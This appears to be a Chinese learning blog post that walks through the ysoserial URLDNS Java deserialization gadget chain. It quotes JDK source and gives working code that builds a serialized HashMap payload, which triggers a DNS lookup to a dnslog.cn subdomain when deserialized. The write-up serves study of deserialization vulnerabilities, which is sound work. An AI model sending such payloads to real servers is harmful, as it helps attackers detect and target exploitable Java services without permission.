• [JAVA反序列化] URLDNS

    0x01

    URLDNS链子 不能够RCE 但是通常作为验证是否存在反序列化漏洞的一种方式，学习反序列化先从 URLDNS开始，因为他短。 我的环境有问题，直接来审，环境就不说了，参考其他师傅的吧

    源码：mirrors / frohoff / ysoserial · GitCode

    分析

    1. public class URLDNS implements ObjectPayload {
    2.  
    3.         public Object getObject(final String url) throws Exception {
    4.  
    5.                 //Avoid DNS resolution during payload creation
    6.                 //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload.
    7.                 URLStreamHandler handler = new SilentURLStreamHandler();
    8.  
    9.                 HashMap ht = new HashMap(); // HashMap that will contain the URL
    10.                 URL u = new URL(null, url, handler); // URL to use as the Key
    11.                 ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    12.  
    13.                 Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    14.  
    15.                 return ht;
    16.         }
    17.  
    18.         public static void main(final String[] args) throws Exception {
    19.                 PayloadRunner.run(URLDNS.class, args);
    20.         }
    21.  
    22.         /**
    23.          * 
      This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
    24.          * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
    25.          * using the serialized object.
    26.          *
    27.          * Potential false negative:
    28.          * 
      If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
    29.          * second resolution.
    30.          */
    31.         static class SilentURLStreamHandler extends URLStreamHandler {
    32.  
    33.                 protected URLConnection openConnection(URL u) throws IOException {
    34.                         return null;
    35.                 }
    36.  
    37.                 protected synchronized InetAddress getHostAddress(URL u) {
    38.  
    39.                     return null;
    40.                 }
    41.         }
    42. }
      43.  

       HashMap ht = new HashMap();
       

      看的出，这个链反序列化的对象是HashMap的对象，因为是hashMap 的对象，所以我们去HashMap类 中找readobject 方法：
       

      1. private void readObject(java.io.ObjectInputStream s)
      2.     throws IOException, ClassNotFoundException {
      3.     // Read in the threshold (ignored), loadfactor, and any hidden stuff
      4.     s.defaultReadObject();
      5.     reinitialize();
      6.     if (loadFactor <= 0 || Float.isNaN(loadFactor))
      7.         throw new InvalidObjectException("Illegal load factor: " +
      8.                                          loadFactor);
      9.     s.readInt();                // Read and ignore number of buckets
      10.     int mappings = s.readInt(); // Read number of mappings (size)
      11.     if (mappings < 0)
      12.         throw new InvalidObjectException("Illegal mappings count: " +
      13.                                          mappings);
      14.     else if (mappings > 0) { // (if zero, use defaults)
      15.         // Size the table using given load factor only if within
      16.         // range of 0.25...4.0
      17.         float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
      18.         float fc = (float)mappings / lf + 1.0f;
      19.         int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
      20.                    DEFAULT_INITIAL_CAPACITY :
      21.                    (fc >= MAXIMUM_CAPACITY) ?
      22.                    MAXIMUM_CAPACITY :
      23.                    tableSizeFor((int)fc));
      24.         float ft = (float)cap * lf;
      25.         threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
      26.                      (int)ft : Integer.MAX_VALUE);
      27.  
      28.         // Check Map.Entry[].class since it's the nearest public type to
      29.         // what we're actually creating.
      30.         SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
      31.         @SuppressWarnings({"rawtypes","unchecked"})
      32.         Node[] tab = (Node[])new Node[cap];
      33.         table = tab;
      34.  
      35.         // Read the keys and values, and put the mappings in the HashMap
      36.         for (int i = 0; i < mappings; i++) {
      37.             @SuppressWarnings("unchecked")
      38.                 K key = (K) s.readObject();
      39.             @SuppressWarnings("unchecked")
      40.                 V value = (V) s.readObject();
      41.             putVal(hash(key), key, value, false, false);
      42.         }
      43.     }
      44. }
       

      看到最后有个 putVal(hash(key), key, value, false, false);
       

      调用了hash 函数计算哈希值，跟进hash
       

      1. static final int hash(Object key) {
      2.         int h;
      3.         return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
      4.     }
       

      调用了键的 hashCode函数，返回原来的源码，可以发现 ysoserial构造链 用的键是URL类，而不是Object的hashCode方法。
       

      1. URL u = new URL(null, url, handler); // URL to use as the Key
      2. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
       

      跟进url类的 hashcode方法： 所以我们这里需要将Key 实例化成我们需要的URL类。
       

      跟进一下URL 类的hashCode方法：
       

      1. public synchronized int hashCode() {
      2.         if (hashCode != -1)
      3.             return hashCode;
      4.  
      5.         hashCode = handler.hashCode(this);
      6.         return hashCode;
      7.     }
       

      如果hashCode  == -1 则会就会重新计算hash Code ，调用handler的hashCode()  ，看一下handler是什么：
       

       

       handler 属性是 URLStreamHandler 类的对象  。 
       

      所以我们要跟进 URLStreamHandler 类的 hashCode() 方法
       

      1. protected int hashCode(URL u) {
      2.         int h = 0;
      3.  
      4.         // Generate the protocol part.
      5.         String protocol = u.getProtocol();
      6.         if (protocol != null)
      7.             h += protocol.hashCode();
      8.  
      9.         // Generate the host part.
      10.         InetAddress addr = getHostAddress(u);
       

      跟进到下面的  getHostAddress(u)
       

      1.     protected synchronized InetAddress getHostAddress(URL u) {
      2.         if (u.hostAddress != null)
      3.             return u.hostAddress;
      4.  
      5.         String host = u.getHost();
      6.         if (host == null || host.equals("")) {
      7.             return null;
      8.         } else {
      9.             try {
      10.                 u.hostAddress = InetAddress.getByName(host);
       

      最后调用了 getByName 方法，这里InetAddress.getByName(host)的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次 DNS查询。
       

      因此整个 Gadget 清晰了
       

      整条链子：
       

      HashMap.readObject()->HashMap.hash()—>URL.hachCode()—>URLStreamHandler.hachCode()—>URLStreamHandler.getHostAddress()->InetAddress.getByName()

       

      利用：
       

      实际上，在HashMap中有一哥put 方法会调用我们需要触发的hash 方法
       

      1.     public V put(K key, V value) {
      2.         return putVal(hash(key), key, value, false, true);
      3.     }
       

      因此简单来说，排开反序列化的话，简单用一次put 就会触发一次 URLDNS。
       

      测试一下：
       

      1.         public static void main(final String[] args) throws Exception {
      2.             HashMap aaa = new HashMap();
      3.             String url = "http://2osumc.dnslog.cn/";
      4.             URL url1 = new URL(url);
      5.             aaa.put(url1,url);
      6.         }
       

      果然触发了
       

       

       总结一下 运行的过程
       

      定义的hash 是 HashMap 类型，所以调用hash.put 时便会调用 HashMap 类的 hash(key) ，之后会调用 key.hashCode() 方法 ，而我们在一开始实例化的HashMap对象的键时URL类型的(HashMap), 所以就会调用URL类的hashCode方法。这里Debug可以看到hashCode的值为-1，所以会执行URLStreamHandler类的hachCode()，剩下部分就如之前整理的链顺序(不再解释了)
       

       

       反射修改hashCode
       

      我们需要在反序列化时触发URLDNS，但现在还未进行反序列化就已经执行了最后的getByName()方法
       

      原因：如上图所示在反序列化之前这里的hashCode就已经变成了-1,而我们在反序列化之前并不想让他调用getByName即hashCode不为-1
       

      解决办法：这种情况就需要通过我们的反射机制来修改hashCode的值，让它不为-1
        
       

      查看hashCode属性发现其为私有属性
       

      private int hashCode = -1;

       

      所以这里修改值得话就用到了反射爆破—>setAccessible
       

      1. import java.io.FileOutputStream;
      2. import java.io.IOException;
      3. import java.io.ObjectOutputStream;
      4. import java.lang.reflect.Field;
      5. import java.net.URL;
      6. import java.util.HashMap;
      7.  
      8. public class DnsTest {
      9.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      10.         HashMap hash = new HashMap();
      11.         URL url = new URL("http://2osumc.dnslog.cn");
      12.         Class c = Class.forName("java.net.URL");
      13.         Field hashCode = c.getDeclaredField("hashCode");
      14.         hashCode.setAccessible(true);						//反射爆破属性
      15.         hashCode.set(url,123);								//传参值不为-1即可
      16.         hash.put(url,1);
      17.         Serialize(hash);
      18.     }
      19.     public static void Serialize(Object obj) throws IOException {
      20.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
      21.         out.writeObject(obj);
      22.         out.close();
      23.     }
      24. }
       

      此时调用后便没有返回任何结果
       

       

       但这里的·hashCode·值被我们修改成了123当我们反序列化后得到的就也还是123,所以在执行完hash.put后改回去即可hashCode.set(url,1);
       

      1. package Sentiment.unserialize.URLDNS;
      2.  
      3. import java.io.FileOutputStream;
      4. import java.io.IOException;
      5. import java.io.ObjectOutputStream;
      6. import java.lang.reflect.Field;
      7. import java.net.URL;
      8. import java.util.HashMap;
      9.  
      10. public class DnsTest {
      11.     public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      12.         HashMap hash = new HashMap();
      13.         URL url = new URL("http://93rjqs.dnslog.cn");
      14.         Class c = Class.forName("java.net.URL");
      15.         Field hashCode = c.getDeclaredField("hashCode");
      16.         hashCode.setAccessible(true);
      17.         hashCode.set(url,123);
      18.         hash.put(url,1);
      19.         hashCode.set(url,-1);
      20.         Serialize(hash);
      21.     }
      22.     public static void Serialize(Object obj) throws IOException {
      23.         ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
      24.         out.writeObject(obj);
      25.         out.close();
      26.     }
      27. }
       

      执行反序列化
       

      1. import java.io.FileInputStream;
      2. import java.io.IOException;
      3. import java.io.ObjectInputStream;
      4.  
      5. public class Unserialize {
      6.     public static void main(String[] args) throws IOException, ClassNotFoundException {
      7.         ObjectInputStream In = new ObjectInputStream(new FileInputStream("1.txt"));
      8.         Object obj= In.readObject();
      9.     }
      10. }
       

      成功触发 
       

       

       

      rethink 
       

      其实 也是挺简单的一条链子，难点也就是要理解类构造，然后需要知道反射机制。我也是蠢 硬是用了两天才看明白，但是明白之后收获很大，对JAVA反序列有了初步理解，很不错。会审一手CC1，看看我多久能消化完成吧hh，这个文章也是没有写的很通俗易懂。因为本人水平也不够，见谅
       

      
                
                    
                

                
    43. 

                    相关阅读:
      
                    
读者自荐的 4 个 GitHub 项目                            
      
Fe3O4纳米粒子/氧化锌纳米粒子/纳米氧化铈/纳米聚乙烯修饰二氧化硅微球表征探究                            
      
智安新闻｜智安网络亮相2023网安周！                            
      
【Java基础面试十二】、说一说你对面向对象的理解                            
      
Python+AI智能编辑人脸                            
      
Java线上云酒馆单预约系统源码小程序源码                            
      
使用CPU本地部署一个大模型                            
      
2004-2020年中小企业板上市公司财务报表股票交易董事高管1200+变量数据及说明                            
      
华为防火墙基础自学系列 | IPsec技术详解                            
      
IntelliJ IDEA 15个插件                            
      
                          
                
      44. 
                
    44. 
                    原文地址：https://blog.csdn.net/snowlyzz/article/details/127740371
                
      45.